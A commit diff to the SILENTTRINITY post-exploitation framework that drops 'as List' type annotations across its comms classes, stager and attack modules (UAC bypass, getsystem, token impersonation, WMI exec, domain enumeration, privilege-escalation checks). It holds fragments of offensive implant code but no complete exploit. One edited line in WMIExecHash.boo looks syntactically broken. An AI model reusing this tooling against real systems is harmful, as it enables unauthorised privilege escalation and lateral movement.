Boo.Lang.List conversion fix and revert and recompile of Old Naga engine

silenttrinity/core/teamserver/comms/http.boo

@@ -71,7 +71,7 @@ class Requests:
 
 class HTTP:
     public Name as string = 'http'
-    public CallBackUrls as List = []
+    public CallBackUrls = []
     private _guid as Guid
     private Requests as Requests = Requests()
 

silenttrinity/core/teamserver/comms/https.boo

@@ -71,7 +71,7 @@ class Requests:
 
 class HTTPS:
     public Name as string = 'https'
-    public CallBackUrls as List = []
+    public CallBackUrls = []
     private _guid as Guid
     private Requests as Requests = Requests()
 

silenttrinity/core/teamserver/data/stage.boo

@@ -54,9 +54,9 @@ class CompilationException(Exception):
         super(message)
 
 class Args:
-    public args as List
+    public args = []
     public source as string
-    public references as List
+    public references = []
     public run_in_thread as bool = true
 
 class JsonJob:
@@ -384,7 +384,7 @@ class STJob:
         Client.SendJobResults(self)
         return "Sent File"
 
-    public def CompileAndRun(source as string, references as List) as string:
+    public def CompileAndRun(source as string, references) as string:
         #print("Received source: \n $source")
         parameters = CompilerParameters(false)
         parameters.Input.Add( StringInput("$(id).boo", source) )
@@ -448,8 +448,8 @@ class STJob:
         Client.SendJobResults(self)
 
 class STClient:
-    public Jobs as List = []
-    public Channels as List = [PUT_COMM_CLASSES_HERE]
+    public Jobs = []
+    public Channels = [PUT_COMM_CLASSES_HERE]
     public Sleep as int = 5000
     public MaxJitter as int = 0
     public MinJitter as int = 0

silenttrinity/core/teamserver/modules/boo/src/WMIExecHash.boo

@@ -756,7 +756,7 @@ public static def Main():
     return Enumerable.Range(0, hex.Length).Where({ x | return ((x % 2) == 0) }).Select({ x | return Convert.ToByte(hex.Substring(x, 2), 16) }).ToArray()
 
   private static def ConvertFromPacketOrderedDictionary(packet_ordered_dictionary as OrderedDictionary) as (byte):
-    byte_list as List[of (byte)] = List[of (byte)]()
+    byte_list [of (byte)] = List[of (byte)]()
     for de as DictionaryEntry in packet_ordered_dictionary:
       byte_list.Add((de.Value as (byte)))
     flattenedList = byte_list.SelectMany({ bytes | return bytes })

silenttrinity/core/teamserver/modules/boo/src/bypassUAC.boo

@@ -372,8 +372,8 @@ public def TokenIsElevated(hToken as IntPtr) as bool:
         return true
 
 
-public def GetElevatedProcessTokens() as List:
-    result as List = []
+public def GetElevatedProcessTokens():
+    result = []
     IsElevated as bool
     hProcessToken as IntPtr
     hProcess as IntPtr
@@ -417,7 +417,7 @@ public static def BypassUAC(binary as string, arguments as string, path as strin
     SE_GROUP_INTEGRITY_32 as UInt32 = 0x00000020
 
     Username as string = WindowsIdentity.GetCurrent().Name
-    processes as List = []
+    processes = []
     if processId == 0:
         processes = GetElevatedProcessTokens()
     else:

silenttrinity/core/teamserver/modules/boo/src/domaincomputers.boo

@@ -65,14 +65,14 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
     if (PropertyName == "objectsid"):
         value = SecurityIdentifier(Properties["objectsid"][0], 0).Value
     elif (PropertyName == "sidhistory"):
-        historyListTemp as List = []
+        historyListTemp = []
         for bytes in Properties["sidhistory"]:
             historyListTemp.Add(SecurityIdentifier(bytes, 0).Value)
         value = historyListTemp.Join(", ")
     elif (PropertyName == "grouptype"):
         try:
             value = Properties["grouptype"][0] + " => "
-            gtactivated as List = []
+            gtactivated = []
             for gt in System.Enum.GetValues(GroupTypeEnum):
                 if Properties["grouptype"][0] % gt cast int:
                     gtactivated.Add(gt)
@@ -92,7 +92,7 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
     elif (PropertyName == "useraccountcontrol"):
         try:
             value = Properties["useraccountcontrol"][0] + " => "
-            uacactivated as List = []
+            uacactivated = []
             for uac in System.Enum.GetValues(UACEnum):
                 if Properties["useraccountcontrol"][0] % uac cast int:
                     uacactivated.Add(uac)
@@ -129,7 +129,7 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
             low = comobj.GetType().InvokeMember("LowPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null)
             property = int.Parse("0x" + high + "" + low, System.Globalization.NumberStyles.HexNumber).ToString()
         else:
-            propertyList as List = []
+            propertyList = []
             for prop as object in Properties[PropertyName]:
                 propertyList.Add(prop.ToString())
             property = propertyList.Join(", ")
@@ -192,7 +192,7 @@ public static def Main():
 
     print "[*] Creating DirectorySearcher with filter: " + Filter
     directorysearcher as DirectorySearcher = DirectorySearcher(Filter)
-    value as List
+    value = []
     directoryentry as DirectoryEntry
     try:
         if findone:

silenttrinity/core/teamserver/modules/boo/src/domaingroups.boo

@@ -65,14 +65,14 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
     if (PropertyName == "objectsid"):
         value = SecurityIdentifier(Properties["objectsid"][0], 0).Value
     elif (PropertyName == "sidhistory"):
-        historyListTemp as List = []
+        historyListTemp = []
         for bytes in Properties["sidhistory"]:
             historyListTemp.Add(SecurityIdentifier(bytes, 0).Value)
         value = historyListTemp.Join(", ")
     elif (PropertyName == "grouptype"):
         try:
             value = Properties["grouptype"][0] + " => "
-            gtactivated as List = []
+            gtactivated = []
             for gt in System.Enum.GetValues(GroupTypeEnum):
                 if Properties["grouptype"][0] % gt cast int:
                     gtactivated.Add(gt)
@@ -92,7 +92,7 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
     elif (PropertyName == "useraccountcontrol"):
         try:
             value = Properties["useraccountcontrol"][0] + " => "
-            uacactivated as List = []
+            uacactivated = []
             for uac in System.Enum.GetValues(UACEnum):
                 if Properties["useraccountcontrol"][0] % uac cast int:
                     uacactivated.Add(uac)
@@ -129,7 +129,7 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
             low = comobj.GetType().InvokeMember("LowPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null)
             property = int.Parse("0x" + high + "" + low, System.Globalization.NumberStyles.HexNumber).ToString()
         else:
-            propertyList as List = []
+            propertyList = []
             for prop as object in Properties[PropertyName]:
                 propertyList.Add(prop.ToString())
             property = propertyList.Join(", ")
@@ -191,7 +191,7 @@ public static def Main():
 
     print "[*] Creating DirectorySearcher with filter: " + Filter
     directorysearcher as DirectorySearcher = DirectorySearcher(Filter)
-    value as List
+    value = []
     directoryentry as DirectoryEntry
     try:
         if findone:

silenttrinity/core/teamserver/modules/boo/src/domainquery.boo

@@ -65,14 +65,14 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
     if (PropertyName == "objectsid"):
         value = SecurityIdentifier(Properties["objectsid"][0], 0).Value
     elif (PropertyName == "sidhistory"):
-        historyListTemp as List = []
+        historyListTemp = []
         for bytes in Properties["sidhistory"]:
             historyListTemp.Add(SecurityIdentifier(bytes, 0).Value)
         value = historyListTemp.Join(", ")
     elif (PropertyName == "grouptype"):
         try:
             value = Properties["grouptype"][0] + " => "
-            gtactivated as List = []
+            gtactivated = []
             for gt in System.Enum.GetValues(GroupTypeEnum):
                 if Properties["grouptype"][0] % gt cast int:
                     gtactivated.Add(gt)
@@ -92,7 +92,7 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
     elif (PropertyName == "useraccountcontrol"):
         try:
             value = Properties["useraccountcontrol"][0] + " => "
-            uacactivated as List = []
+            uacactivated = []
             for uac in System.Enum.GetValues(UACEnum):
                 if Properties["useraccountcontrol"][0] % uac cast int:
                     uacactivated.Add(uac)
@@ -129,7 +129,7 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
             low = comobj.GetType().InvokeMember("LowPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null)
             property = int.Parse("0x" + high + "" + low, System.Globalization.NumberStyles.HexNumber).ToString()
         else:
-            propertyList as List = []
+            propertyList = []
             for prop as object in Properties[PropertyName]:
                 propertyList.Add(prop.ToString())
             property = propertyList.Join(", ")
@@ -146,7 +146,7 @@ public static def Main():
 
     print "[*] Creating DirectorySearcher with filter: " + Filter
     directorysearcher as DirectorySearcher = DirectorySearcher(Filter)
-    value as List
+    value = []
     directoryentry as DirectoryEntry
     try:
         if findone:

silenttrinity/core/teamserver/modules/boo/src/domainusers.boo

@@ -65,14 +65,14 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
     if (PropertyName == "objectsid"):
         value = SecurityIdentifier(Properties["objectsid"][0], 0).Value
     elif (PropertyName == "sidhistory"):
-        historyListTemp as List = []
+        historyListTemp = []
         for bytes in Properties["sidhistory"]:
             historyListTemp.Add(SecurityIdentifier(bytes, 0).Value)
         value = historyListTemp.Join(", ")
     elif (PropertyName == "grouptype"):
         try:
             value = Properties["grouptype"][0] + " => "
-            gtactivated as List = []
+            gtactivated = []
             for gt in System.Enum.GetValues(GroupTypeEnum):
                 if Properties["grouptype"][0] % gt cast int:
                     gtactivated.Add(gt)
@@ -92,7 +92,7 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
     elif (PropertyName == "useraccountcontrol"):
         try:
             value = Properties["useraccountcontrol"][0] + " => "
-            uacactivated as List = []
+            uacactivated = []
             for uac in System.Enum.GetValues(UACEnum):
                 if Properties["useraccountcontrol"][0] % uac cast int:
                     uacactivated.Add(uac)
@@ -129,7 +129,7 @@ private static def ConvertLDAPProperty(Properties as ResultPropertyCollection, P
             low = comobj.GetType().InvokeMember("LowPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null)
             property = int.Parse("0x" + high + "" + low, System.Globalization.NumberStyles.HexNumber).ToString()
         else:
-            propertyList as List = []
+            propertyList = []
             for prop as object in Properties[PropertyName]:
                 propertyList.Add(prop.ToString())
             property = propertyList.Join(", ")
@@ -187,7 +187,7 @@ public static def Main():
 
     print "[*] Creating DirectorySearcher with filter: " + Filter
     directorysearcher as DirectorySearcher = DirectorySearcher(Filter)
-    value as List
+    value = []
     directoryentry as DirectoryEntry
     try:
         if findone:

silenttrinity/core/teamserver/modules/boo/src/getsystem.boo

@@ -466,8 +466,8 @@ public def ImpersonateProcess(ProcessID as UInt32) as bool:
         return false
 
 
-public def GetUserProcessTokensForUser(Username as string) as List:
-    result as List = []
+public def GetUserProcessTokensForUser(Username as string):
+    result = []
     IsElevated as bool
     hProcessToken as IntPtr
     hProcess as IntPtr
@@ -492,7 +492,7 @@ public def GetUserProcessTokensForUser(Username as string) as List:
 
 
 public def ImpersonateUser(Username as string):
-    userProcessTokens as List
+    userProcessTokens = []
     userProcessTokens = GetUserProcessTokensForUser(Username)
     print "Processes for " + Username + ": " + userProcessTokens.Count
     print "Attempting to impersonate: " + Username
@@ -531,7 +531,7 @@ public def GetCurrentProcessToken() as IntPtr:
 
 
 public def EnableTokenPrivilege(ref hToken as IntPtr, Privilege as string) as bool:
-    Privileges as List = ["SeAssignPrimaryTokenPrivilege",
+    Privileges = ["SeAssignPrimaryTokenPrivilege",
         "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege",
         "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege",
         "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeEnableDelegationPrivilege",

silenttrinity/core/teamserver/modules/boo/src/impersonateprocess.boo

@@ -260,7 +260,7 @@ public def GetCurrentProcessToken() as IntPtr:
 
 
 public def EnableTokenPrivilege(ref hToken as IntPtr, Privilege as string) as bool:
-    Privileges as List = ["SeAssignPrimaryTokenPrivilege",
+    Privileges = ["SeAssignPrimaryTokenPrivilege",
         "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege",
         "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege",
         "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeEnableDelegationPrivilege",

silenttrinity/core/teamserver/modules/boo/src/impersonateuser.boo

@@ -466,8 +466,8 @@ public def ImpersonateProcess(ProcessID as UInt32) as bool:
         return false
 
 
-public def GetUserProcessTokensForUser(Username as string) as List:
-    result as List = []
+public def GetUserProcessTokensForUser(Username as string):
+    result = []
     IsElevated as bool
     hProcessToken as IntPtr
     hProcess as IntPtr
@@ -492,7 +492,7 @@ public def GetUserProcessTokensForUser(Username as string) as List:
 
 
 public def ImpersonateUser(Username as string):
-    userProcessTokens as List
+    userProcessTokens = []
     userProcessTokens = GetUserProcessTokensForUser(Username)
     print "Processes for " + Username + ": " + userProcessTokens.Count
     print "Attempting to impersonate: " + Username
@@ -531,7 +531,7 @@ public def GetCurrentProcessToken() as IntPtr:
 
 
 public def EnableTokenPrivilege(ref hToken as IntPtr, Privilege as string) as bool:
-    Privileges as List = ["SeAssignPrimaryTokenPrivilege",
+    Privileges = ["SeAssignPrimaryTokenPrivilege",
         "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege",
         "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege",
         "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeEnableDelegationPrivilege",

silenttrinity/core/teamserver/modules/boo/src/modifiableregistryautoruns.boo

@@ -34,7 +34,7 @@ public static def CheckModifiableAccess(Path as string) as bool:
     // TODO: check if file exists, check file's parent folder
 
     // rights that signify modiable access
-    ModifyRights as List = [
+    ModifyRights = [
         FileSystemRights.ChangePermissions,
         FileSystemRights.FullControl,
         FileSystemRights.Modify,
@@ -45,7 +45,7 @@ public static def CheckModifiableAccess(Path as string) as bool:
         FileSystemRights.CreateFiles
     ]
 
-    paths as List = [Path]
+    paths = [Path]
 
     try:
         attr as FileAttributes = System.IO.File.GetAttributes(Path)
@@ -83,7 +83,7 @@ public static def GetRegValue(path as string, value as string) as string:
 public static def GetModifiableRegistryAutoRuns() as void:
     print "\r\n=== Modifiable Registry Autoruns ===\r\n"
 
-    autorunLocations as List = [
+    autorunLocations = [
         "SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
         "SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce",
         "SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",

silenttrinity/core/teamserver/modules/boo/src/modifiableservicebinaries.boo

@@ -34,7 +34,7 @@ public static def CheckModifiableAccess(Path as string) as bool:
     // TODO: check if file exists, check file's parent folder
 
     // rights that signify modiable access
-    ModifyRights as List = [
+    ModifyRights = [
         FileSystemRights.ChangePermissions,
         FileSystemRights.FullControl,
         FileSystemRights.Modify,
@@ -45,7 +45,7 @@ public static def CheckModifiableAccess(Path as string) as bool:
         FileSystemRights.CreateFiles
     ]
 
-    paths as List = [Path]
+    paths = [Path]
 
     try:
         attr as FileAttributes = System.IO.File.GetAttributes(Path)

silenttrinity/core/teamserver/modules/boo/src/modifiableserviceregistry.boo

@@ -34,7 +34,7 @@ public static def GetModifiableServiceRegistry() as void:
 
     // rights that signify modifiable access
     // https://docs.microsoft.com/fr-fr/dotnet/api/system.security.accesscontrol.registryrights?view=netframework-4.8
-    ModifyRights as List = [RegistryRights.ChangePermissions, RegistryRights.FullControl, RegistryRights.TakeOwnership, RegistryRights.SetValue, RegistryRights.WriteKey]
+    ModifyRights = [RegistryRights.ChangePermissions, RegistryRights.FullControl, RegistryRights.TakeOwnership, RegistryRights.SetValue, RegistryRights.WriteKey]
 
     print "\r\n=== Modifiable Registry Services  ===\r\n"
 

silenttrinity/core/teamserver/modules/boo/src/pathhijack.boo

@@ -42,7 +42,7 @@ public static def CheckModifiableAccess(Path as string) as bool:
     // TODO: check if file exists, check file's parent folder
 
     // rights that signify modiable access
-    ModifyRights as List = [
+    ModifyRights = [
         FileSystemRights.ChangePermissions,
         FileSystemRights.FullControl,
         FileSystemRights.Modify,
@@ -53,7 +53,7 @@ public static def CheckModifiableAccess(Path as string) as bool:
         FileSystemRights.CreateFiles
     ]
 
-    paths as List = [Path]
+    paths = [Path]
 
     try:
         attr as FileAttributes = System.IO.File.GetAttributes(Path)